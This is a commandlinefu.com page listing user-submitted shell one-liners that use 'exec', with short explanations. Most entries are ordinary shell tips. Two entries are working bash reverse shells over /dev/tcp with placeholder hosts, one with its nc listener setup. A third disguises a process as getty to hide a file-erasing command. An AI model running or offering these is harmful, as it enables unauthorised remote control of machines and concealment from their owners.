Hide

What's this?

commandlinefu.com is the place to record those command-line gems that you return to again and again.

Delete that bloated snippets file you've been using and share your personal repository with the world. That way others can gain from your CLI wisdom and you from theirs too. All commands can be commented on, discussed and voted up or down.


If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/

Get involved!

You can sign-in using OpenID credentials, or register a traditional username and password.

First-time OpenID users will be automatically assigned a username which can be changed after signing in.

Hide

Stay in the loop…

Follow the Tweets.

Every new command is wrapped in a tweet and posted to Twitter. Following the stream is a great way of staying abreast of the latest commands. For the more discerning, there are Twitter accounts for commands that get a minimum of 3 and 10 votes - that way only the great commands get tweeted.

» http://twitter.com/commandlinefu
» http://twitter.com/commandlinefu3
» http://twitter.com/commandlinefu10

Subscribe to the feeds.

Use your favourite RSS aggregator to stay in touch with the latest commands. There are feeds mirroring the 3 Twitter streams as well as for virtually every other subset (users, tags, functions,…):

Subscribe to the feed for:

Hide

News

2011-03-12 - Confoo 2011 presentation
Slides are available from the commandlinefu presentation at Confoo 2011: http://presentations.codeinthehole.com/confoo2011/
2011-01-04 - Moderation now required for new commands
To try and put and end to the spamming, new commands require moderation before they will appear on the site.
2010-12-27 - Apologies for not banning the trolls sooner
Have been away from the interwebs over Christmas. Will be more vigilant henceforth.
2010-09-24 - OAuth and pagination problems fixed
Apologies for the delay in getting Twitter's OAuth supported. Annoying pagination gremlin also fixed.
Hide

Tags

Hide

Functions

Commands using exec from sorted by
Terminal - Commands using exec - 16 results
$ screen -S test -d -m -- sh -c 'date; exec $SHELL'
2014-02-17 08:11:45
User: awek
Functions: exec screen sh test
0

The command creates new session "test", executes 'date' and then start your default shell (to keep the detached session alive). Change 'date' to fit your needs.

screen -r test

will attach the created session.

alarm() { perl -e 'alarm shift; exec @ARGV' "$@"; }; alarm 20 foo arg1
alias 2edit='xsel -b;n=pipe$RANDOM;xdotool exec --terminator -- mousepad $n -- search --sync --onlyvisible --name $n key --window %1 ctrl+v'
2013-08-11 06:18:31
User: ichbins
Functions: alias exec
1

bash output is inserted into the clipboard, then mousepad is started and the clipboard content is pasted. xsel and xdotool needs to be installed. Instead of the mousepad any other editor can be used. I've successfully tested the Sublime Text Editor and it opens a new tab for each new paste. Check Sample output for a usage example. This command is originated from here - http://goo.gl/0q9UT4

exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
2012-11-16 02:48:01
User: somaddict
Functions: cat exec read
8

This is sneaky.

First, start a listening service on your box.

nc -l 8080 -vvv &

On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.

exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

You can send it to the background like this:

(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &

Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

mysqlbinlog <logfiles> | grep exec | grep end_log_pos | cut -d' ' -f2- | cut -d: -f-2 | uniq -c
2012-05-30 09:42:21
User: theist
Functions: cut exec grep uniq
1

shows number of mysql bin log events (which are mysql server events) per minute, useful to check stress times postmortem

mysqlbinlog <logfiles> | grep exec | grep end_log_pos | grep -v exec_time=0 | sed 's/^\(.*exec_time=\([0-9]\+\).*\)/\2 - \1 /' | sort -n
2012-05-30 09:38:02
User: theist
Functions: exec grep sed sort
0

Shows sorted by query time, the headers of mysqlbinlog entries. Then is easy to locate the heavier events on the raw log dump

exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files
2012-02-01 10:54:03
User: mhs
Functions: exec
16
exec -a $NAME $COMMAND $ARGS

`your_cmd -erase_all_files` is the real process, but harmless-looking getty appears in the process table.

Never actually had a need to do this, but interesting nonetheless... Tested in bash, dash.

-a $NAME

"pass NAME as the zeroth argument to COMMAND", i.e. customise the name of the process (as commonly seen with `ps`)

if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi;
2011-08-23 11:43:37
User: stanix
Functions: exec sudo
2

Place this code at the beginning of your script to ensure that it can only be executed by the root.

(trap 'true' ERR; exec <SEGFAULT_PRONE_PROGRAM>)
2011-07-25 02:30:52
User: h3xx
Functions: exec trap
Tags: trap script error
0

Crash Override, man!

Apparently the exec call tricks BASH into setting the output buffer size to 0 under the assumption that the system (or the calling shell) will handle the output buffering. trapping the ERR signal will stop the subshell from dying and sending the ERR signal to the main script--which will terminate immediately if it does--when the program fails.

The only problem is that the kernel will output a whole bunch of stack trace garbage directly to the console device once the process segfaults, so there's no way to prevent it from being output [that I know of].

exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done
exec 2>&1
2010-08-05 08:24:18
User: redy
Functions: exec
9

You have a script where =ALL= STDERR should be redirected to STDIN and you don't want to add "2>&1" at the end of each command...

E.G.:

ls -al /foo/bar 2>&1

Than just add this piece of code at the beginning of your script!

I hope this can help someone. :)

exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
2010-03-18 17:25:08
User: truemilk
Functions: exec
2

Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory.

--

/dev/tcp and /dev/udb redirects must be enabled at compile time in Bash.

Most Linux distros enable this feature by default but at least Debian is known to disable it.

--

http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/

exec bash
2010-02-10 18:51:26
User: bartonski
Functions: exec
4

This replaces the current bash session with a new bash session, run as an interactive non-login shell... useful if you have changed /etc/bash.bashrc, or ~/.bashrc

If you have changed a startup script for login shells, use

exec bash -l

Suitable for re-running /etc/profile, ~/.bash_login and ~/.profile.

edit: chinmaya points out that

env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"

will clear any shell variables which have been set... since this verges on unwieldy, might want to use

alias bash_restart='env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"'
exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
///bin/true; exec java bsh.Interpreter "$0" "$@"
2009-02-05 17:00:05
User: chmx
Functions: exec
0

The two lines below are for a BeanShell script so it can be executed under Linux and Cygwin. Also, bsh.jar must be in the CLASSPATH environment variable, or in the jre/lib/ext/ directory of the JVM.

#! /bin/sh

///bin/true; exec java bsh.Interpreter "$0" "$@"